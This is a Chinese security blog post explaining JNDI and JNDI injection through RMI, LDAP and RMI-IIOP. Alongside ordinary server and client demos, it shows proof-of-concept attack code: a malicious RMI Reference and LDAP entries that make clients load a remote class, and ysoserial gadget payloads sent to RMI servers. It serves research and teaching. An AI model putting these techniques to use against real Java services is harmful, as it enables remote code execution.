浅谈JNDI

Posted by kingkk on 2020-04-01

关于JNDI

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象 。

可以理解为一个Java抽象出来统一与命名服务或者目录服务交互的接口。比如需要访问DNS服务、LDAP服务、RMI等,都可以通过一层抽象JNDI的API接口进行统一的处理。

这里涉及到两个概念

1、Naming Service 命名服务

​ 它提供一种类似Map的绑定工作,你可以根据名称获取到你想要的值,通过lookup或者search之类的操作。

2、Directory Service 目录服务

​ 一种特殊的命名服务,和命名服务的区别是提供了属性与对象的关联,但整体功能差不多,也是提供对象的查找。

以现代分布式的角度来类比的话可以看作是注册中心。

整个JNDI主要分为三层面:

1、JNDI API 用与我们Java应用与其通信。

2、Naming Manager也就是我们之前提到的命名服务

3、JNDI SPI(Server Provider Interface)用于具体到实现的方法上。

最早提出通过JNDI来攻击Java应用的是在2016的Black Hat上。

其中介绍了三种JNDI的方式

  • RMI
  • LDAP
  • CORBA

前两种也就是目前比较常见的漏洞利用方式,不少的java漏洞都会涉及到恶意RMI、LDAP服务的利用,可以通过marshalsec很轻松的搭建起这样的服务。

这篇文章也会围绕这个2016年的议题展开,主要就是这三种JNDI的利用,以及其中的一些原理。

基本概念

Context

就像stackoverflow中介绍的,Context主要描述的是当前环境的上下文。

https://stackoverflow.com/questions/3918083/what-exactly-is-a-context-in-java

例如Servlet中就有描述当前Servlet环境的ServletContext。

在JNDI中经常是一个InitialContext,来描述当前上下文。(当然你需要给定一些参数,告诉他如何初始化这个上下文)

RMI

Java中的远程方法调用,基于Java的序列化和反序列化传递数据。

是Java应用自带的RPC调用,Weblogic中对其做了修改与优化,称为T3。

LDAP

轻型目录访问协议(Lightweight Directory Access Protocol) LDAP目录以树状的层次结构来存储数据。

之前介绍过目录服务与命名服务最大的区别就是可以通过属性与对象关联。

如下就是一些常用的标识,用来确定唯一的对象,除此之外,用户还可以自定义添加attributes属性

CORBA

一种跨语言层面的远程调用规范,通过IDL定义接口,实现不同语言直接的远程通信。

具体的概念可以看lucifaer师傅的文章,讲的很详细,如果之前没有了解过的可能会有些吃力。

https://lucifaer.com/2020/02/20/Java%20CORBA%E7%A0%94%E7%A9%B6/

RMI-IIOP

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI 和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。RMI-IIOP综合了RMI的简单性和CORBA的多语言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性(可以不用掌握IDL)。

简单来说就是结合了RMI和CORBA,既可以保持原有的RMI编程方式,同时也遵循了CORBA的通信规范。

议题中所提到的CORBA,其实应该指的就是RMI-IIOP。

JNDI利用

可以配合 https://github.com/kingkaki/jndi-sample

RMI

Demo

我们可以通过如下方式很快的搭建起一个RMI服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public interface Service extends Remote {
String sayHello() throws RemoteException;
}

public class ServiceImpl extends UnicastRemoteObject implements Service {

protected ServiceImpl() throws RemoteException {
}

@Override
public String sayHello() throws RemoteException {
return "return hello";
}
}

public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("hello", new ServiceImpl());
Thread.currentThread().join();
}
}

可以看到我们往1099端口上绑定了一个继承了UnicastRemoteObject的具体服务实现。

然后客户端就可以在这个rmi服务上与服务端进行通信。

1
2
3
4
5
6
7
8
9
10
public class RMIClient {
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);
Service service = (Service) ctx.lookup("hello");
System.out.println(service.sayHello());
}
}

可以看到提供了两个参数Context.INITIAL_CONTEXT_FACTORYContext.PROVIDER_URL分别表示Context初始化的工厂方法,和提供服务的url。

然后就可以很轻松的拿到这个远端对象并调用。(具体的实现是个代理,通过rpc进行远端通信,毕竟不可能真的把一个类绑定然后传输)

这样就实现了RMI的通信。

攻击client

按照常规的思路,我们只要伪造一个服务端,然后返回恶意的序列化Payload,客户端收到结果之后肯定会触发Java的反序列化(因为rmi就是基于Java的序列化进行传输数据的)。

但是其实这是对返回的类型比较限制的,但是应该也可以用直接修改返回数据的方式触发。

JNDI中有一个更好的利用方式,涉及到命名引用的概念javax.naming.Reference

例如一些本地实例类过于大的情况,可以选择一个远程引用,通过远程调用的方式,引用远程的类。这也就是我们jndi利用payload中还会涉及到一个HTTP服务的原因。

RMI服务只会返回一个命名引用,告诉JNDI应用你该如何去寻找这个类,然后应用则会去HTTP服务下找到对应类的class文件并加载,我们只要将恶意代码写入static中,则会在类加载时被执行。

大致流程如下

所以,只要修改一下我们的server端,绑定一个恶意的命名引用

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);

Reference reference = new Reference("Calc", "Calc", "http://127.0.0.1:5000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("hello", referenceWrapper);

Thread.currentThread().join();
}

其中Reference的三个变量分别为

  1. className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
  2. classFactory - 远程的工厂类
  3. classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议

这样,client端再次访问时,就回去加载远程的恶意class文件

(需要注意的是,高版本的java需要设置com.sun.jndi.rmi.object.trustURLCodebase属性为true,算是一些限制)

攻击server

之前提到的方式是攻击一个要连接RMI服务的client端,那如何去攻击一个提供RMI服务的server端呢?

能想到的有两种方式,在发送数据的时候发送一个序列化Payload,或者在bind对象的时候绑定一个序列化Payload。

关于bind Payload的方法,貌似ysoserial中有现成的ysoserial.exploit.RMIRegisteryExploit

简化下之后关键代码如下

1
2
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
registry.bind(name, remote);

此外还发现了一个ysoserial.exploit.JRMPClient利用它也可以攻击服务端,但是原理貌似与bind有些区别

详细可以看下这篇文章 https://xz.aliyun.com/t/2651

但是因为JEP290的关系,在jdk8u121、jdk7u131、jdk6u141之后对序列化的对象做了限制,两种方法都不能使用了(准确的说法是反序列化的Payload被拒绝反序列化了)。

1
2
3
ObjectInputFilter REJECTED: class java.util.PriorityQueue, array length: -1, nRefs: 2, depth: 1, bytes: 124, ex: n/a

ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 298, ex: n/a

但是低版本还是可以用罢了。

那还剩一个发送序列化参数的方法,假如参数是一个Object对象,那么就可以传入我们恶意的序列化字节码

1
service.sayHello(new CommonsCollections2().getObject("calc"))

这种方式不存在什么版本限制,都是可以利用的。但是Object参数的要求未免太过苛刻。

之前还有师傅提出了通过javaagent动态修改字节码,或者抓包修改传输流的方式绕过这个限制(毕竟类型检查仅在jvm中,在传输之前肯定会转换成字节流方式),而且已经有师傅实现了这个。

https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/

https://www.anquanke.com/post/id/200860

其实假如是个参数是个接口类型,还可以用ysoserial中常用的Proxy代理直接在代码成面转换类型。

LDAP

Demo

LDAP服务的搭建,需要借助一个外部依赖

1
compile group: "com.unboundid", name: "unboundid-ldapsdk", version: "4.0.9"

然后就可以建立一个基于内存的LDAP服务,并往其中添加了两个entry(dn为唯一标识,后面的为标记属性。第一个entry为第二个entry的parent entry,所以需要创建第一个才能创建第二个。)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class LdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
1389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);

InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "k: k");
ds.add("dn: " + "uid=kingkk,dc=example,dc=com", "k: kk");

System.out.println("Listening on 0.0.0.0:" + 1389); //$NON-NLS-1$
ds.startListening();
}
}

然后客户端,通过对应的属性,就可以找到对应的对象,返回的是一个com.sun.jndi.ldap.LdapCtx

1
2
3
4
5
6
7
8
9
10
public class LdapClient {
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:1389");
Context ctx = new InitialContext(env);
Object object = ctx.lookup("uid=kingkk,dc=example,dc=com");
System.out.println(object.getClass());
}
}

攻击client

基于之前RMI的命名引用的利用方式,那LDAP有没有类似的方法来引用远程的类(显然是有的,不然你之前ldap的利用咋利用的)

我们仿照marshalsec的做法,为entry添加几条额外的Attributes

1
2
ds.add("dn: " + "uid=kingkk,dc=example,dc=com", "javaCodeBase: http://127.0.0.1:5000/",
"objectClass: javaNamingReference", "javaFactory: Calc", "javaClassName: foo");

这样一来,再次启动LDAP client,来获取这个dn的对象时,就会和RMI一样,引用到外部的类,从而触发漏洞。

(高版本还是会有限制,但是这个版本比较高,jdk8u_2xx的样子,所以大部分情况还是能用)

攻击server

目前市面上的文章好像没有提到过这点的

当我自己尝试绑定一个恶意对象的到LDAP服务器中,是触发不了反序列化的,只有在client再次调用的时候,client端才能触发反序列化。

CORBA(RMI-IIOP)

Demo

和RMI一样先定义好对应的接口(注意这回继承的是PortableRemoteObject

1
2
3
4
5
6
7
8
9
10
11
12
13
public interface HelloInterface extends Remote {
public void sayHello( String from ) throws RemoteException;
}

public class HelloImpl extends PortableRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super(); // invoke rmi linking and remote object initialization
}
public void sayHello(String from) throws java.rmi.RemoteException {
System.out.println("Hello from " + from + "!!");
System.out.flush();
}
}

服务端和之前RMI的逻辑类似,绑定一个实现类

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws Exception {
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();
//使用JNDI在命名服务中发布引用
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.cosnaming.CNCtxFactory");
env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:1050");
InitialContext initialContext = new InitialContext(env);
initialContext.rebind("HelloService", helloRef);
System.out.println("Hello Server Ready...");
Thread.currentThread().join();
}

Client端也和RMI差不多,只是多了一步CORBA的narrow进行类的转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");
Context ic = new InitialContext(env);
// STEP 1: Get the Object reference from the Name Service
// using JNDI call.
Object objref = ic.lookup("HelloService");
System.out.println("Client: Obtained a ref. to Hello server.");
// STEP 2: Narrow the object reference to the concrete type and
// invoke the method.
HelloInterface hi = (HelloInterface) PortableRemoteObject.narrow(objref, HelloInterface.class);
hi.sayHello(" MARS ");
}

由于CORBA的原因,还需要一些额外操作程序才能正常运行

生成Stub和Skeletion

1
rmic -iiop HelloImpl

Stub和Skeletion的关系借用一张0c0c0f师傅的图片,可以理解为java程序与CORBA中间的一个代理数据层。

启动ORB(orb的地址也就是命名服务的地址)

1
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1

攻击client

我也不知道为什么目前为止只有rmi和ldap的利用,没有iiop的。

由于具体不是特别了解,不知道怎么创建一个命名引用对象。可以来看下白皮书中提到的方法,但是没有具体示例。

InitialContext supports three CORBA related schemes:

  • iiop (com.sun.jndi.url.iiop.iiopURLContext) Eg: iiop://server/foo

  • corbaname (com.sun.jndi.url.corbaname.corbanameURLContext) Eg: corbaname:iiop:server#foo

  • iiopname (com.sun.jndi.url.iiopname.iiopnameURLContext) Eg: iiopname://server/foo

Any of them can be used to fetch a reference from an ORB to perform the lookup operation. If an
attacker can control the URL and point the lookup to an ORB under his control, he will be able to
return a malicious Interoperable Object Reference (IOR).
An IOR is a data structure providing information on the type,

大致意思是说通过控制ORB,然后在我们恶意ORB中心返回一个由我们控制的IOR,从而实现客户端的attack。

In Figure 4, an attacker can manually craft an IOR that specifies a codebase location (1) and an IDL Interface (2) under his control where the stub factory can be located. It can then place a stub factory class that runs the payload in its constructor and get the stub instantiated in the target server (3), successfully running his payload.

议题中描述的攻击过程如下。

攻击server

仿照之前的方式,假如参数有Object的情况,当尝试传输一个序列化Payload时,是可以触发漏洞的

那试着往server端bind一个恶意的序列化对象呢?可以看到抛出了异常java.rmi.NoSuchObjectException: object not exported

猜测原因是之前生成的_HelloImpl_Tie.class的原因,导致CORBA服务没有对应的Stub类可以进行传输

Q & A

INITIAL_CONTEXT_FACTORY 做了些什么?

传入的值明显可以看到是一个类名,那我们找到这个类就可以看到,是一个实现了InitialContextFactory的工厂类,网上的介绍说主要是提供了上下文环境。

可以看到其实主要就实现了getInitialContext接口,返回一个Context

这个Context也就是我们初始化 InitialContext之后返回的Context。里面定义了如何lookupbind的具体操作,也就约定了两端通信的具体方法。

这也就是为什么CVE-2020-2551的IIOP漏洞中的INITIAL_CONTEXT_FACTORY值是weblogic.jndi.WLInitialContextFactory

它返回的是一个weblogic.corba.j2ee.naming.ContextImpl

服务端也就是在这里面bind时调用到了readObject方法。

为什么InitialContext可以不用初始化

如果不提供初始化参数,也就是不入HashTable,发现也是可以lookup到对应的iiop、rmi、ldap之类的服务的。

因为这几个协议InitialContext默认是会自动根据协议名去找对应的工厂类

javax.naming.spi.NamingManager.getURLObject()

具体有如下工厂方法

最后

一开始想尽可能弄清其中细节,越到后面发现坑越挖越大,能力有限,目前就先弄清一些感兴趣的细节吧,还有很多未求甚解的东西。 一部分内容纯属个人理解,请辩证看待。

References

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/

https://paper.seebug.org/1091/

https://paper.seebug.org/1105/

https://xz.aliyun.com/t/7422

https://y4er.com/post/attack-java-jndi-rmi-jrmp-1/

https://stackoverflow.com/questions/3918083/what-exactly-is-a-context-in-java

https://lucifaer.com/2020/02/20/Java%20CORBA%E7%A0%94%E7%A9%B6/

https://www.anquanke.com/post/id/200860

https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/